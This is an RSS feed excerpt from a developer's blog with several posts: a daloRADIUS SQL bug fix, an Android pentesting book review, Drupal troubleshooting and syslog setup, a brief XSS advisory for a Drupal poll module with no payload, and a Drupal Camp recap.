&lt;p&gt;Ezequiel was kind enough to e-mail information about a problem, along with constructive feedback on the project (always great to hear!), but not without also sending the fix for it too.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&gt; Hi! Liran,  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&gt; I’ve downloaded daloradius, it is a great plataform  ![:-)](https://web.archive.org/web/20140625184339im_/http://enginx.com/wp-includes/images/smilies/icon_smile.gif)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&gt; I’ve found a bug when you do a Refill Traffic, it gives you an insert error, but you could see that only debugging.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&gt; On “./include/management/userOperations.php”You have: $sql = “INSERT INTO “.$configValues[&apos;CONFIG_DB_TBL_DALOBILLINGHISTORY&apos;]. ” (id,username,**planName**,billAmount,billAction,billPerformer,billReason,”. ” paymentmethod,cash,creditcardname,creditcardnumber,creditcardverification,creditcardtype,creditcardexp,”. ” creationdate,creationby”. “)”. ” VALUES “………………..&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&gt; There is not planName on billing_history, only you have a planId. then, refilling is not saved on that table.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&gt; I’ve changed code to$sql = “INSERT INTO “.$configValues[&apos;CONFIG_DB_TBL_DALOBILLINGHISTORY&apos;]. ” (id,username,**planID**,billAmount,billAction,billPerformer,billReason,”. ” paymentmethod,cash,creditcardname,creditcardnumber,creditcardverification,creditcardtype,creditcardexp,”. ” creationdate,creationby”.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&gt; The same problem on refilling time.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&gt; And it works perfectly!  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&gt; Thank you very much!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&gt; Best Regards,  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&gt; Ezequiel Villarreal&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;daloRADIUS accounting and reporting capabilities&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://sourceforge.net/p/daloradius/mailman/attachment/81237f640807051143h45d1b48ajf0acc685fca11533@mail.gmail.com/3/&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625184339im_/https://sourceforge.net/p/daloradius/mailman/attachment/81237f640807051143h45d1b48ajf0acc685fca11533@mail.gmail.com/3/&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Reviewing book – Learning Pentesting for Android Devices</title><link>https://lirantal.com/blog/2014-05-08/</link><guid>https://lirantal.com/blog/2014-05-08/</guid><description>Getting started with penetration testing for Android devices</description><pubDate>Thu, 08 May 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;My personal background in computer security, penetration testing and vulnerability assessment started in my early age when I explored the world of programming, and later on practiced it more regularly when I adopted the  &lt;a href=&quot;http://www.linux.org/&quot;&gt;GNU/Linux&lt;/a&gt;  operating system. Back then, planting backdoors and holes in &lt;a href=&quot;http://en.wikipedia.org/wiki/Loadable_kernel_module&quot;&gt;Loadable Kernel Modules&lt;/a&gt;  (LKM) in Linux was an exciting journey to explore.&lt;/p&gt;
&lt;p&gt;In the spirit of software security, in the past week I’ve been reading through  &lt;a href=&quot;http://enginx.com/blog/reviewing-book-learning-pentesting-android-devices/www.packtpub.com&quot;&gt;PacktPub’s&lt;/a&gt;  &lt;a href=&quot;http://www.packtpub.com/learning-pentesting-for-android/book&quot;&gt;Learning Pentesting for Android Devices&lt;/a&gt;  title, which is a first dive for me into the world of mobile security forensics.&lt;/p&gt;
&lt;p&gt;The first chapter swiftly beings by introducing the reader to the Android mobile OS, scanning through the architecture layers, OS libraries, and an overview of the underlying modified Linux kernel with adoption to mobile devices. At this point already, the target audience of the book becomes quite clear – the author is aiming this book towards readers with previous security industry experience and familiarity with programming and Linux OS (or general OS architecture).&lt;/p&gt;
&lt;p&gt;The follow-up chapters enable a more hands-on experience with an actual Android emulated environment and the author takes the reader through a review of series security related tools and begins a more in-depth security analysis in Chapter 3, such as reverse engineering Android apps with various tools (&lt;code&gt;dex2jar&lt;/code&gt; and &lt;code&gt;apktool&lt;/code&gt;) and exploring some well known attack vectors like path directory traversal, client-side injections and Android environment-specific vulnerabilities.&lt;/p&gt;
&lt;p&gt;Chapter 4 is entirely dedicated to exploring network security forensics, covering various ways to sniff network traffic and perform man-in-the-middle SSL interception, where the author employs familiar tools like &lt;code&gt;tcpdump&lt;/code&gt; and &lt;code&gt;wireshark&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Last chapters are reviewing other aspects of exploiting the Android operating system, including a dedicated chapter for ARM based exploitation and old school buffer overflow review. To conclude the book, the author describes the security report document and provides template with an actual report example.&lt;/p&gt;
&lt;p&gt;In an overall impression, the book is geared towards security professionals with experience in the mobile platforms, although Android application developers with a little bit of security experience or will to learn would benefit from this book. If you fall under any of these categories, then the author &lt;a href=&quot;https://twitter.com/adi1391&quot;&gt;Aditya Gupta&lt;/a&gt;  has done a great job in providing you with good reference of security tools, security overview of the Android OS and general vulnerabilities and methods of attack to be aware of.&lt;/p&gt;</content:encoded></item><item><title>Drupal 6 – Subscription notifications aren’t going out?</title><link>https://lirantal.com/blog/2014-05-06/</link><guid>https://lirantal.com/blog/2014-05-06/</guid><description>How to fix Drupal 6 subscription notifications not sent to users via email</description><pubDate>Tue, 06 May 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We recently had an issue with a &lt;a href=&quot;https://drupal.org/&quot;&gt;Drupal&lt;/a&gt; 6 site, where-as &lt;a href=&quot;https://drupal.org/project/notifications&quot;&gt;notifications&lt;/a&gt; didn’t seem to reach their destination on user’s email, even though we verified that all users were subscribed correctly to the relevant content items. An initial investigation began with the mail server to figure out if it’s getting any traffic from Drupal, whether it’s just misconfigured, down or has any other reasonable issue that can be reverted. The mail server logs proved very quickly that the mail server isn’t getting any SMTP traffic at all, so this shifts focus into Drupal. While this can happen in a myriad of places in Drupal and due to a handful of reasons that could have caused this, there’s another quick way of figuring out if notification events are even being created at all, and that’s by going into the subscription management administrative area and just reviewing if new notifications are being created and waiting on the queue or not.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2014/05/Drupal-6-Manage-subscriptions.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625181547im_/http://enginx.com/wp-content/uploads/2014/05/Drupal-6-Manage-subscriptions-300x77.png&quot; alt=&quot;Drupal 6 - Manage subscriptions&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Further investigation lead to figuring out that there’s a notifications module variable which controls whether or not the &lt;a href=&quot;https://drupal.org/project/notifications&quot;&gt;notifications module&lt;/a&gt; will create events for content that is being created, updated, etc. In our case, due to wrong handling it was set to disregard node creation events. Deleting the variable quickly resolved the issue.&lt;/p&gt;</content:encoded></item><item><title>Advanced Poll 6.x versions – XSS Vulnerability</title><link>https://lirantal.com/blog/2013-10-28/</link><guid>https://lirantal.com/blog/2013-10-28/</guid><description>Disclosing a Cross-site Scripting vulnerability in the Advanced Poll module for Drupal.</description><pubDate>Mon, 28 Oct 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;During the weekend I discovered an XSS issue with the  &lt;a href=&quot;https://drupal.org/project/advpoll&quot;&gt;Advanced Poll&lt;/a&gt;  module. I’ve made sure to provide a &lt;a href=&quot;https://drupal.org/files/advanced_poll-xss_issue-2121459-1.patch&quot;&gt;patch&lt;/a&gt; and &lt;a href=&quot;https://drupal.org/node/2121459#comment-8004705&quot;&gt;submit&lt;/a&gt;  this to the issue queue.&lt;/p&gt;
&lt;p&gt;I have actually submitted a few other SAs in the past, &lt;a href=&quot;http://security.drupal.org/node/75123&quot;&gt;one of them&lt;/a&gt; was for the &lt;a href=&quot;http://drupal.org/project/nice_dash&quot;&gt;nice_dash&lt;/a&gt;  module, which aims to provide a dashboard interface for Drupal administrators, but unfortunately it &lt;a href=&quot;https://drupal.org/node/1650720&quot;&gt;wasn’t yet merged to source control&lt;/a&gt;.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Drupal Security Advistory – XSS vulnerability in Advanced Poll module versions 6.x-3.x and prior&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Project: Advanced Poll (third-party module)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Version: 6.x-3.x and earlier&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Date: 2013-10-25&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Security risk: Highly critical&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Exploitable from: Remote&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Vulnerability: Cross Site Scripting &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;This module enables you to create advanced types of polls, such as binary and ranking poll, as the module calls them. The module did not sufficiently filter poll question titles for malicious JavaScript. This vulnerability is mitigated by the fact that an attacker must have permission to create or edit polls.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Versions affected&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Advanced Poll 6.x-3.x and all prior versions&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Solution&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Apply the patch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Reported by&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Liran Tal &amp;#x3C;liran.tal@gmail.com&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Fixed by&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Liran Tal  &amp;#x3C;liran.tal@gmail.com&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>Drupal Database Log to Syslog</title><link>https://lirantal.com/blog/2013-10-23/</link><guid>https://lirantal.com/blog/2013-10-23/</guid><description>How to disable the Drupal Database Log and enable Syslog instead</description><pubDate>Wed, 23 Oct 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Drupal Database Log is utilizing the built-in watchdog module but it can end up being quite a resource hog if you’re over utilizing it and having many modules enabled, let alone all the PHP warning and errors that it will log – causing an overkill in performance to your database with a lot of writes.&lt;/p&gt;
&lt;h2 id=&quot;how-to-disable-the-drupal-database-log-and-enable-syslog-instead&quot;&gt;How to disable the Drupal Database Log and enable Syslog instead&lt;/h2&gt;
&lt;p&gt;Disabling the DB Logging module and enabling Syslog in Drupal 6:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;include_once&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;includes/install.inc&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Replacing the DB Log module with the Syslog&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;module_disable&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;dblog&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;drupal_uninstall_module&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;dblog&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;drupal_install_modules&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;syslog&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;));&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This requires further configuration on the Linux side for syslog&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;edit &lt;code&gt;/etc/syslog.conf&lt;/code&gt; – because default settings for the Syslog module on Drupal are set to use &lt;code&gt;local0&lt;/code&gt; then we should set logging from the local0 facility to a dedicated Drupal log file, so we’ll add the following entry:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Drupal watchdog logging&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;local0&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;/var/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;drupal&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;log&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By default, Syslog also logs all facilities info level to &lt;code&gt;/var/log/messages&lt;/code&gt;. This is both annoying, because it hinders on investigating general system issues in &lt;code&gt;/var/log/messages&lt;/code&gt;, as well as un-necessary duplication of data since this information is already stored in &lt;code&gt;/var/log/drupal.log&lt;/code&gt;&lt;br&gt;
To disable this behavior we need to tell Syslog to avoid from logging information from local0 to /var/log/messages then,&lt;br&gt;
2. locate the &lt;code&gt;/var/log/messages&lt;/code&gt; entry which should look roughly like this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;*.info;mail.none;authpriv.none;cron.none;           /var/log/messages&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and change it into&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;*.info;local0.none;mail.none;authpriv.none;cron.none;           /var/log/messages&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;where we specify &lt;code&gt;local0.none&lt;/code&gt; and Syslog knows to disregard messages from &lt;code&gt;local0&lt;/code&gt; facility&lt;/p&gt;
&lt;p&gt;And finally restart syslog for changes to take effect&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/etc/init.d/syslog restart&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>Media in Drupal 7 – presenting it in Drupal Camp Israel 2013</title><link>https://lirantal.com/blog/2013-10-21/</link><guid>https://lirantal.com/blog/2013-10-21/</guid><description>One of my first public speaking engagements was at Drupal Camp 2013</description><pubDate>Mon, 21 Oct 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I attended &lt;a href=&quot;http://2013.drupal.org.il/&quot;&gt;Drupal Camp Israel – 2013&lt;/a&gt; last week, and presented there about &lt;a href=&quot;http://www.packtpub.com/drupal-7-media/book&quot;&gt;Drupal 7 Media&lt;/a&gt;, which is very much the title of &lt;a href=&quot;http://enginx.com/content/writing-drupal-7-media&quot;&gt;my recently published book&lt;/a&gt; by Packt Publishing.&lt;/p&gt;
&lt;p&gt;The conference organization was overall good, lectures flew smoothly, there were camera men video-taping the whole event so that’s a nice plus to watch the offline lectures for people who couldn’t attend the event. It was organized this year by &lt;a href=&quot;https://twitter.com/RoySegall&quot;&gt;Roy Segall&lt;/a&gt; and &lt;a href=&quot;http://ihelp.co.il/&quot;&gt;Anat Kahana&lt;/a&gt;. The conference started out with an opening panel, followed by &lt;a href=&quot;https://twitter.com/jsacksick&quot;&gt;Jonathan Sacksick&lt;/a&gt; from &lt;a href=&quot;http://commerceguys.com/&quot;&gt;Commerce Guys&lt;/a&gt;, who attempted to break the language barrier and explain about E-Commerce in Drupal 7 and &lt;a href=&quot;https://drupal.org/project/commerce_kickstart&quot;&gt;Commerce Kickstart&lt;/a&gt; in general.&lt;/p&gt;
&lt;p&gt;My lecture was following that of Jonathan’s, and started early in the morning at around 10am. I’m not much of a talker so presenting isn’t what rocks my world, but the knowledge sharing and spreading the world is important and good for everyone. The “Media in Drupal 7″ presentation was mostly to discuss about some selected chapters from the book, namely introducing the 7.x-2.x branch of  &lt;a href=&quot;https://drupal.org/project/media&quot;&gt;the Media module&lt;/a&gt;, and following up with the  &lt;a href=&quot;https://drupal.org/project/canvas_field&quot;&gt;Canvas Field module&lt;/a&gt;  which in my opinion not many users know about or even make use of. It’s still released as development version but it’s quite functional and I was even contributing  &lt;a href=&quot;https://drupal.org/node/2019887&quot;&gt;a small patch&lt;/a&gt;  to it while in the process of writing the book. The presentation concluded with the  &lt;a href=&quot;https://drupal.org/project/chart&quot;&gt;Google Charts API&lt;/a&gt;  module which is a great little integration module with  &lt;a href=&quot;https://developers.google.com/chart/&quot;&gt;Google Charts&lt;/a&gt;  (duh). It binds to  &lt;a href=&quot;http://drupal.org/project/views&quot;&gt;Views&lt;/a&gt;, which allows for easy charts creation and manipulation based solely on Views UI administration, as well as exposing an API for programmers to make use of, which is really nice if you want to pull more heavy weight than what Views provides.&lt;/p&gt;
&lt;p&gt;My slides: &lt;a href=&quot;http://www.scribd.com/doc/177129450/Drupal-7-Media-DrupalCamp-Israel-2013&quot; title=&quot;View Drupal 7 Media - DrupalCamp Israel - 2013 on Scribd&quot;&gt;Drupal 7 Media – DrupalCamp Israel – 2013&lt;/a&gt; by &lt;a href=&quot;http://www.scribd.com/liran_tal&quot; title=&quot;View Liran Tal&amp;#x27;s profile on Scribd&quot;&gt;Liran Tal&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And there’s even a recorded video session from the conference:&lt;/p&gt;
&lt;p&gt;And the rest of the videos are available through the YouTube channel or the conference page in drupal.org.il:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/channel/UCJe3SCokovJBxxe-etjWhtA&quot;&gt;http://www.youtube.com/channel/UCJe3SCokovJBxxe-etjWhtA&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.drupal.org.il/blog/672/%D7%94%D7%9E%D7%A6%D7%92%D7%95%D7%AA-%D7%91%D7%9B%D7%A0%D7%A1-%D7%93%D7%A8%D7%95%D7%A4%D7%9C-2013&quot;&gt;http://www.drupal.org.il/blog/672/%D7%94%D7%9E%D7%A6%D7%92%D7%95%D7%AA-%D7%91%D7%9B%D7%A0%D7%A1-%D7%93%D7%A8%D7%95%D7%A4%D7%9C-2013&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To continue with the rest of the day… The rest of the presentations were rather nice.  &lt;a href=&quot;http://idancohen.com/&quot;&gt;Idan Cohen&lt;/a&gt;  and  &lt;a href=&quot;https://twitter.com/barzik&quot;&gt;Ran Bar Zik&lt;/a&gt;, whom are both  &lt;a href=&quot;https://hpln.hp.com/&quot;&gt;colleagues&lt;/a&gt;  of mine, presented excellently and most of all – funny and vivid lectures on Responsive Design and Selenium/Phantom JS testing. Next there were like 3 follow-up presentations about CSS and SaaS from 3 different speakers so there was much overlapping there and that was quite annoying and boring at some point (definitely a good point for future conference organizers to make take into consideration).  &lt;a href=&quot;https://twitter.com/amitaibu&quot;&gt;Amitai Burstein&lt;/a&gt;  from  &lt;a href=&quot;http://www.gizra.com/&quot;&gt;Gizra&lt;/a&gt;  had an interesting, yet somewhat marketing oriented presentation about Gizra and how they are doing development. At least we got to hear that they’re really doing a lot to contribute back to the community in their day to day development practice, so that’s always nice to hear. Closing the presentations was  &lt;a href=&quot;https://twitter.com/liorkesos&quot;&gt;Lior Kesos&lt;/a&gt;  from  &lt;a href=&quot;http://www.linnovate.net/&quot;&gt;Linnovate&lt;/a&gt;  with his lecture about integrating Drupal and the  &lt;a href=&quot;http://www.mean.io/&quot;&gt;Mean.io&lt;/a&gt;  stack, which stands for Mongo, Express, Angular and Node.JS, being basically the new “LAMP” kid on the block, JavaScript-wise.The closing panel of the conference also held a lottery for 3 free copies of Drupal 7 Media, courtesy of  &lt;a href=&quot;http://www.packtpub.com/&quot;&gt;Packt Publishing&lt;/a&gt;. A bit of embarrassing status for me to hand out the books with some pictures, as I’m used to being the “background guy” but oh well, that went rather ok  &lt;img src=&quot;https://web.archive.org/web/20140625190231im_/http://enginx.com/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:)&quot;&gt;  so congratulations for the new owners of the book!&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2013/08/564035_10201681129923342_1322183071_n.jpg&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625190231im_/http://enginx.com/wp-content/uploads/2013/08/564035_10201681129923342_1322183071_n-300x225.jpg&quot; alt=&quot;564035_10201681129923342_1322183071_n&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2013/08/1380414_10201681134003444_627270614_n.jpg&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625190231im_/http://enginx.com/wp-content/uploads/2013/08/1380414_10201681134003444_627270614_n-300x225.jpg&quot; alt=&quot;1380414_10201681134003444_627270614_n&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2013/08/1383375_10201681137043520_645791284_n.jpg&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625190231im_/http://enginx.com/wp-content/uploads/2013/08/1383375_10201681137043520_645791284_n-300x225.jpg&quot; alt=&quot;1383375_10201681137043520_645791284_n&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Drupal 8 module development #4 – creating a settings file</title><link>https://lirantal.com/blog/2013-10-10/</link><guid>https://lirantal.com/blog/2013-10-10/</guid><description>This is the 4th of several on-going blog post series which aim to educate on the process of porting modules to Drupal 8 with real life examples by porting a popular Drupal 7 module to Drupal 8.</description><pubDate>Thu, 10 Oct 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In  &lt;a href=&quot;http://enginx.com/content/drupal-8-module-development-3-adding-settings-page&quot;&gt;previous&lt;/a&gt;  articles we have started with Drupal 8 initial module porting and worked our way about adding a route and implementing the settings form controller so that we can present an administrative UI for managing the various configuration options which the module exposes.&lt;/p&gt;
